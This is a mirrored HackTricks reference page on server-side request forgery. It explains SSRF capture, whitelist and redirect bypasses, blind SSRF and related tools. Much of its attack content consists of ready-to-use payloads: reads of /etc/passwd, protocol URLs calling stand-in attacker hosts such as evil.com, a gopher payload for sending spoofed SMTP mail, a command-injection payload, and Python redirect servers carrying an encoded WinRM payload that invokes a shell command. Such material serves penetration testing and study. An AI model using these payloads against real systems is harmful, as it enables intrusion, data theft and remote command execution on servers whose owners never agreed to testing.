mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
262 lines
17 KiB
Markdown
262 lines
17 KiB
Markdown
|
# SSRF (Server Side Request Forgery)
|
||
|
|
||
|
## What is Server Side Request Forgery?
|
||
|
|
||
|
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to **induce the server-side application to make HTTP requests to an arbitrary domain** of the attacker's choosing. (From [here](https://portswigger.net/web-security/ssrf))
|
||
|
|
||
|
## Capture SSRF
|
||
|
|
||
|
The first thing you need to do is to capture a SSRF interaction provoked by you. To capture a HTTP or DNS interaction you can use tools such as:
|
||
|
|
||
|
* **Burpcollab**
|
||
|
* [**pingb**](http://pingb.in)
|
||
|
* ****[**canarytokens**](https://canarytokens.org/generate#)****
|
||
|
* ****[**interractsh**](https://github.com/projectdiscovery/interactsh)****
|
||
|
* ****[**http://webhook.site**](http://webhook.site)****
|
||
|
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)****
|
||
|
|
||
|
## Whitelisted Domains Bypass
|
||
|
|
||
|
Usually you will find that the SSRF is only working in **certain whitelisted domains** or URL. In the following page you have a **compilation of techniques to try to bypass that whitelist**:
|
||
|
|
||
|
{% content-ref url="url-format-bypass.md" %}
|
||
|
[url-format-bypass.md](url-format-bypass.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### Bypass via open redirect
|
||
|
|
||
|
If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.\
|
||
|
Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
|
||
|
|
||
|
## SSRF via Referrer header
|
||
|
|
||
|
Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.\
|
||
|
To discover this kind of "hidden" vulnerabilities you could use the plugin "**Collaborator Everywhere**" from Burp.
|
||
|
|
||
|
## Exploitation
|
||
|
|
||
|
### [Wget file upload](../file-upload/#wget-file-upload-ssrf-trick)
|
||
|
|
||
|
### file://
|
||
|
|
||
|
```
|
||
|
file:///etc/passwd
|
||
|
```
|
||
|
|
||
|
### dict://
|
||
|
|
||
|
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
|
||
|
|
||
|
```
|
||
|
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
|
||
|
ssrf.php?url=dict://attacker:11111/
|
||
|
```
|
||
|
|
||
|
### SFTP://
|
||
|
|
||
|
A network protocol used for secure file transfer over secure shell
|
||
|
|
||
|
```
|
||
|
ssrf.php?url=sftp://evil.com:11111/
|
||
|
```
|
||
|
|
||
|
### TFTP://
|
||
|
|
||
|
Trivial File Transfer Protocol, works over UDP
|
||
|
|
||
|
```
|
||
|
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
|
||
|
```
|
||
|
|
||
|
### LDAP://
|
||
|
|
||
|
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
|
||
|
|
||
|
```
|
||
|
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
|
||
|
```
|
||
|
|
||
|
### Gopher://
|
||
|
|
||
|
Using this protocol you can specify the **IP, port and bytes** you want the server to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** (but you need to know how to talk to the service first).\
|
||
|
Fortunately, you can use [Gopherus](https://github.com/tarunkant/Gopherus) to create payloads for several services. Additionally, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) can be used to create _gopher_ payloads for _Java RMI_ services.
|
||
|
|
||
|
#### Gopher smtp
|
||
|
|
||
|
```
|
||
|
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
|
||
|
will make a request like
|
||
|
HELO localhost
|
||
|
MAIL FROM:<hacker@site.com>
|
||
|
RCPT TO:<victim@site.com>
|
||
|
DATA
|
||
|
From: [Hacker] <hacker@site.com>
|
||
|
To: <victime@site.com>
|
||
|
Date: Tue, 15 Sep 2017 17:20:26 -0400
|
||
|
Subject: Ah Ah AHYou didn't say the magic word !
|
||
|
.
|
||
|
QUIT
|
||
|
```
|
||
|
|
||
|
#### Gopher HTTP
|
||
|
|
||
|
```bash
|
||
|
#For new lines you can use %0A, %0D%0A
|
||
|
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
|
||
|
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
|
||
|
```
|
||
|
|
||
|
#### Gopher SMTP — Back connect to 1337
|
||
|
|
||
|
{% code title="redirect.php" %}
|
||
|
```php
|
||
|
<?php
|
||
|
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
|
||
|
?>Now query it.
|
||
|
https://example.com/?q=http://evil.com/redirect.php.
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
### SMTP
|
||
|
|
||
|
From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):\
|
||
|
1\. connect with SSRF on smtp localhost:25\
|
||
|
2\. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail\
|
||
|
3\. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains\
|
||
|
4\. connect
|
||
|
|
||
|
### SSRF with Command Injection
|
||
|
|
||
|
It might be worth trying a payload like: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
|
||
|
|
||
|
### Exploiting PDFs Rendering
|
||
|
|
||
|
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself (the server) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
|
||
|
|
||
|
### From SSRF to DoS
|
||
|
|
||
|
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
|
||
|
|
||
|
### SSRF Redirect to Gopher
|
||
|
|
||
|
For some exploitations you might need to **send a redirect response** (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
|
||
|
|
||
|
```python
|
||
|
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
|
||
|
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||
|
import ssl
|
||
|
|
||
|
class MainHandler(BaseHTTPRequestHandler):
|
||
|
def do_GET(self):
|
||
|
print("GET")
|
||
|
self.send_response(301)
|
||
|
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d
|
||
|
self.end_headers()
|
||
|
|
||
|
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
|
||
|
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
|
||
|
httpd.serve_forever()
|
||
|
```
|
||
|
|
||
|
```python
|
||
|
from flask import Flask, redirect
|
||
|
from urllib.parse import quote
|
||
|
app = Flask(__name__)
|
||
|
|
||
|
@app.route('/')
|
||
|
def root():
|
||
|
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
|
||
|
|
||
|
if __name__ == "__main__":
|
||
|
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
|
||
|
```
|
||
|
|
||
|
### Abusing DNS Rebidding + TLS Session ID/Session ticket
|
||
|
|
||
|
Requirements:
|
||
|
|
||
|
* **SSRF**
|
||
|
* **Outbound TLS sessions**
|
||
|
* **Stuff on local ports**
|
||
|
|
||
|
Attack:
|
||
|
|
||
|
1. Ask the user/bot **access** a **domain** controlled by the **attacker**
|
||
|
2. The **TTL** of the **DNS** is **0** sec (so the victim will check the IP of the domain again soon)
|
||
|
3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**.
|
||
|
4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain.
|
||
|
5. In the DNS request a **private IP** address is given **now** (127.0.0.1 for example)
|
||
|
6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID (where the **payload** of the attacker was contained). So congratulations you managed to ask the **user/bot attack himself**.
|
||
|
|
||
|
Note that during this attack, if you want to attack localhost:11211 (_memcache_) you need to make the victim establish the initial connection with www.attacker.com:11211 (the **port must always be the same**).\
|
||
|
To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
|
||
|
For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
|
||
|
|
||
|
### Automated DNS Rebidding
|
||
|
|
||
|
**``**[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is a tool to perform [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
|
||
|
|
||
|
Check out also the publicly running server in [http://rebind.it/singularity.html](http://rebind.it/singularity.html)
|
||
|
|
||
|
## Blind SSRF
|
||
|
|
||
|
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
|
||
|
|
||
|
### Time based SSRF
|
||
|
|
||
|
**Checking the time** of the responses from the server it might be **possible to know if a resource exists or not** (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
|
||
|
|
||
|
## Cloud SSRF Exploitation
|
||
|
|
||
|
If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
|
||
|
|
||
|
{% content-ref url="cloud-ssrf.md" %}
|
||
|
[cloud-ssrf.md](cloud-ssrf.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## SSRF Vulnerable Platforms
|
||
|
|
||
|
Several known platforms contains or has contained SSRF vulnerabilities, check them in:
|
||
|
|
||
|
{% content-ref url="ssrf-vulnerable-platforms.md" %}
|
||
|
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Tools
|
||
|
|
||
|
### ****[**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)****
|
||
|
|
||
|
Tool to detect and exploit SSRF vulnerabilities
|
||
|
|
||
|
### [Gopherus](https://github.com/tarunkant/Gopherus)
|
||
|
|
||
|
* [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
|
||
|
|
||
|
This tool generates Gopher payloads for:
|
||
|
|
||
|
* MySQL
|
||
|
* PostgreSQL
|
||
|
* FastCGI
|
||
|
* Redis
|
||
|
* Zabbix
|
||
|
* Memcache
|
||
|
|
||
|
### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
||
|
|
||
|
* [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
|
||
|
|
||
|
_remote-method-guesser_ is a _Java RMI_ vulnerability scanner that supports attack operations for most common _Java RMI_ vulnerabilities. Most of the available operations support the `--ssrf` option, to generate an _SSRF_ payload for the requested operation. Together with the `--gopher` option, ready to use _gopher_ payloads can be generated directly.
|
||
|
|
||
|
### [SSRF Proxy](https://github.com/bcoles/ssrf\_proxy)
|
||
|
|
||
|
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
|
||
|
|
||
|
### To practice
|
||
|
|
||
|
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||
|
|
||
|
## References
|
||
|
|
||
|
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
|
||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
|